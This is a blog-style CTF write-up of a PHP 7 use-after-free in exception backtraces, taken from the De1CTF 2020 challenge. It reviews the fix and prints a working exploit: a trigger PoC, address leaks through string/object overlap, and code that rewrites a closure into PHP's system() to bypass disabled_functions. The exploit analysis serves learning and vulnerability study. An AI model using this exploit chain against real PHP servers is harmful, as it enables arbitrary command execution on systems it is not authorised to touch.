Tuesday, October 20, 2020

PHP UAF

*First things first,I would like to mention the fact that this blog is based on this write-up,which is way better than mine(https://mem2019.github.io/jekyll/update/2020/05/04/Easy-PHP-UAF.html)

*The only difference is the fact that we only dive & dissect the exploit 'n the patch.

0x00 Overview

The challenge is to exploit a PHP script engine using php7-backtrace-bypass. We can execute arbitrary PHP code but we must bypass disabled_function restriction to execute shell command, using a UAF vulnerability.However, different from official PHP engine, a custom libphp7.so is provided. This engine does not provide any loop functionality such as for/while/do-while/foreach. Moreover, in remote server, the recursion depth is also restricted, and strlen function always returns NULL, even though these cases do not occur in my local environment.

The exploit idea is similar to the exploit provided in Github: use UAF to overlap a string with an object, so that we can leak the addresses, then clone a function object and rewrite relevant function pointer to make the function system.

Bug overview

Our vulnerability lies php's function backtrace.The root cause for our challenge is a UAF(use-after-free bug) vulnerability.The use-after-free is caused by freeing variables without reference(e.i. ref count = 0) before putting the local variables into the backtrace.In this way already freed variables can be re-accessed by accessing backtrace.

0x02 Patch Review

Now in order for us to get a better understanding let's review the patch

Upon inspecting the patch they did this:

Unlink the current stack frame before freeing CVs or extra args. This means it will no longer show up in back traces that are generated during CV destruction.

We already did this prior to destructing the object/closure, presumably for the same reason.            


Now from their saying we can understand the fact the the bug was cause by the fact that they didn't free the current stack frame ,but rather they left it there and than terminate whatever  was there.Ok so we can see from the patch that they used unlink to do that.


Exploit overview


The challenge was origininal from De1ctf2020,the authors provided the poc from the bug hunter.Let's inspect that.The PoC is presented below


class Vuln {

    public $a;

    public function __destruct() {

        global $backtrace;

        unset($this->a);

        $backtrace = (new Exception)->getTrace(); // backtrace has ref to $arg

    }

}

function trigger_uaf($arg) {

    $arg = str_shuffle(str_repeat('A', 79)); // string to be UAFed

    $vuln = new Vuln();

    $vuln->a = $arg;

}

trigger_uaf('x');

$backtrace[0]['args'][1] // access UAF string


Upon inspection of the source code we can see that the author of the exploit createa a function called a,after that he released the memory zone of a, and saved a backtrace(a log of freed memory zone of variable a).


More in-depth exploit dev


Before exploiting any sort of engine we need to have problem domain based knowledge(how the engine deals with it's representation for it's data types,memory management and so on).

in php's case,we know how string and other php objects are stored in memory.Now the best was to exploit uaf

for our scenario is to free memory of string ,and replace is with a PHP Object have some sort of type confusion primitive.

One might be curious why do such a thing.In doing so,we can achive a memory leak primitive by reading the PHP string


Here is the definition of these 2 types:

struct _zend_string {

zend_refcounted_h gc;

zend_ulong        h;                /* hash value */

size_t            len;

char              val[1];

};

struct _zend_object {

zend_refcounted_h gc;

uint32_t          handle; // TODO: may be removed ???

zend_class_entry *ce;

const zend_object_handlers *handlers;

HashTable        *properties;

zval              properties_table[1]; 

    // zval is a union followed by its type description

    // for example: string is _zend_string* pointer and 0x6

};


Now doing the type confusion vulnerability this is what objects we get to overlap


string      object

gc          gc

h           handle

len         ce

val+0       handlers

val+8       properties

val+16      first field

val+24      type of first field


Therefore, we can leak pointer of object by reading content in +0x10 offset. In addition, pointer handlers points to somewhere at libphp7.so so that we can also leak base address of libphp7.

Here is the source code which is pretty self explaniatory.Something i would like to add is the fact the $helper is leaked for later for RCE


$helper = new Helper;

$helper->a = $helper;

$helper->b = function($x) {};

$helper->c = 0x1337;


$closure_handlers = str2ptr($abc, 0);

$php_heap = str2ptr($abc, 0x10);

// leaker address of $helper, which is also that of $abc

$helper->a = "helper"; 

// if we still have circular reference, 

// a strage crash will occur when rewriting string,

// so we remove circular reference here

$abc_addr = $php_heap + 0x18;

$libphp_addr = str2ptr($abc, 0) - 0xd73ec0;

$zif_system = $libphp_addr + 0x355a86;

// leak libphp and thus zif_system function

$helper->b = function($x){};

$closure_obj = str2ptr($abc, 0x20);

// leak a pointer pointing to a user-defined function object


RCE

The primary objective is to rewrite the function in b field to PHP system function.However, we cannot use strlen function to achieve arbitrary memory read, unlike the provided exploit.The aproach used by the author was to interpret address $closure_obj as a PHP string so that we can read contents after +0x18 offset.Source code provided below for the exploit.


// fake value
write($abc, 0x10, $closure_obj);
write($abc, 0x18, 0x6); 
// fake a string object at $closure_obj

function copyFunc($off)
{
	global $helper;
	global $abc;
	if ($off > 0x110) return;
	write($abc, 0xd0 + 0x18 + $off, str2ptr($helper->a, $off));
	write($abc, 0xd0 + 0x20 + $off, str2ptr($helper->a, $off+8));
	write($abc, 0xd0 + 0x28 + $off, str2ptr($helper->a, $off+0x10));
	write($abc, 0xd0 + 0x30 + $off, str2ptr($helper->a, $off+0x18));
	write($abc, 0xd0 + 0x38 + $off, str2ptr($helper->a, $off+0x20));
	write($abc, 0xd0 + 0x40 + $off, str2ptr($helper->a, $off+0x28));
	write($abc, 0xd0 + 0x48 + $off, str2ptr($helper->a, $off+0x30));
	write($abc, 0xd0 + 0x50 + $off, str2ptr($helper->a, $off+0x38));
	write($abc, 0xd0 + 0x58 + $off, str2ptr($helper->a, $off+0x40));
	write($abc, 0xd0 + 0x60 + $off, str2ptr($helper->a, $off+0x48));
	write($abc, 0xd0 + 0x68 + $off, str2ptr($helper->a, $off+0x50));
	write($abc, 0xd0 + 0x70 + $off, str2ptr($helper->a, $off+0x58));
	write($abc, 0xd0 + 0x78 + $off, str2ptr($helper->a, $off+0x60));
	write($abc, 0xd0 + 0x80 + $off, str2ptr($helper->a, $off+0x68));
	write($abc, 0xd0 + 0x88 + $off, str2ptr($helper->a, $off+0x70));
	write($abc, 0xd0 + 0x90 + $off, str2ptr($helper->a, $off+0x78));
	write($abc, 0xd0 + 0x98 + $off, str2ptr($helper->a, $off+0x80));
	write($abc, 0xd0 + 0xa0 + $off, str2ptr($helper->a, $off+0x88));
	copyFunc($off + 0x90);
} // function to copy the content inside $closure_obj

write($abc, 0xd0, 0x0000031800000002);
write($abc, 0xd0 + 8, 0x0000000000000003);
// write some headers in $closure_obj, 
// which are simply constants from gdb
copyFunc(0); // copy body in $closure_obj

write($abc, 0xd0 + 0x38, 0x0210000000000001);
write($abc, 0xd0 + 0x68, $zif_system);
// rewrite critical fields to make the function `system`
write($abc, 0x20, $abc_addr + 0xd0);
// rewrite pointer of field b to newly faked function object

($helper->b)($cmd);
die("end");


End.

END of The Game 


1 comment:

  1. Hi

    How does the given function relate to research essay and given task of continuous assessment work 1? Please follow the research essay requirements and guideline of essay (via assessment brief 1) to score more in the assessments.
    Please do not forget to link it to your major project to show context.

    Many thanks
    Chirag

    ReplyDelete

libprotobuf&libfuzz Part 2.

 We just dissect the source code from this guy's repo:https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning we will use sam...